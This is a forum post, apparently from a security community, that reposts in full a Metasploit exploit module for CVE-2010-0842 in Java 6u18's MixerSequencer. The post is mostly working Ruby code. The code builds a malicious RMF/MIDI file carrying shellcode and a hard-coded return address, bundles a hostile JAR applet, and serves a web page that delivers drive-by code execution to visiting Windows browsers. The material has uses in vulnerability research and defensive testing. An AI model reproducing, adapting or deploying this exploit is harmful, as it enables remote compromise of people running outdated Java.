Jump to content
Nytro

Java MixerSequencer Object GM_Song Structure Handling Vulnerability

Recommended Posts

Posted

[h=1]Java MixerSequencer Object GM_Song Structure Handling Vulnerability[/h]

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
'Description' => %q{
This module exploits a flaw within the handling of MixerSequencer objects
in Java 6u18 and before.
Exploitation id done by supplying a specially crafted MIDI file within an RMF
File. When the MixerSequencer objects is used to play the file, the GM_Song
structure is populated with a function pointer provided by a SONG block in the
RMF. A Midi block that contains a MIDI with a specially crafted controller event
is used to trigger the vulnerability.
When triggering the vulnerability "ebx" points to a fake event in the MIDI file
which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
exploit reliable over java updates.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Vreugdenhil', # Vulnerability Discovery and exploit
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-0842' ],
[ 'OSVDB', '63493'],
[ 'BID', '39077'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],
[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
],
'Payload' =>
{
'Space' => 8000,
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[
# Tested succesfully on:
# Windows XP SP3 / IE 6 / Java 6u18
# Windows XP SP3 / IE 7 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u18
# Windows XP SP3 / Firefox 7.0.1 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u17
# Windows XP SP3 / Firefox 7.0.1 / Java 6u17
# Windows 7 / IE 8 / Java 6u18
'Windows / Java 6 <=u18',
{
'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => "Mar 30 2010",
'DefaultTarget' => 0))
end
def get_rmf
rmf_header = ""
rmf_header << "IREZ" # RMFHeaderMagic
rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber
rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks
song_block = ""
song_block << "\x00\x00\x00\x65" # OffsetToNextBlock
song_block << "SONG" # BlockType
song_block << [target.ret].pack("N") # BlockID
song_block << "\x00" # BlockName
song_block << "\x00\x00\x00\x47" # BlockDataSize
song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData
song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData
song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData
song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData
song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData
midi = ""
# HEADERCHUNK Header
midi << "MThd" # Header
midi << "\x00\x00\x00\x06" # Chunk size
midi << "\x00\x01" # Format Type
midi << "\x00\x01" # Number of tracks
midi << "\x00\x08" # Time division
# TRACKCHUNK header
midi << "MTrk" # Header
midi << "\x00\x00\x24\xd7" # Length
midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability
# Fake Midi Meta event - Shellcode
midi << "\x38" # Variable lenght delta time
midi << "\xff" # Midi meta event
midi << "\x02" # Meta event type 02 => Copyright notice
midi << "\xc9\x50" # Variable Meta Event Length
midi << payload.encoded
midi << rand_text(9123 - payload.encoded.length)
midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock
midi_block << "Midi" # BlockType
midi_block << "\x00\x00\x7f\xff" # BlockID
midi_block << "\x00" # BlockName
midi_block << "\x00\x00\x24\xed" # BlockDataSize
midi_block << midi # BlockData
rmf = ""
rmf << rmf_header
rmf << song_block
rmf << midi_block
rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"
return rmf_name, rmf
end
def get_jar
files = [
[ "MyController.class" ],
[ "MixerMidiApplet.class" ],
[ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]
]
jar = Rex::Zip::Jar.new
jar.add_file("META-INF/", "")
jar.add_file("META-INF/services/", "")
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))
jar.build_manifest
jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"
return jar_name, jar
end
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
return
end
if request.uri =~ /\.rmf$/i
print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
return
end
base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
rmf_uri = base_uri + "/#{@rmf_name}"
jar_uri = base_uri + "/#{@jar_name}"
html = %Q|
<html>
<head>
</head>
<body>
<applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>
<param name="midifile" valuetype="ref" value="#{rmf_uri}">
</applet>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@jar_name, @jar = get_jar
@rmf_name, @rmf = get_rmf
super
end
end

Sursa: Java MixerSequencer Object GM_Song Structure Handling Vulnerability

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...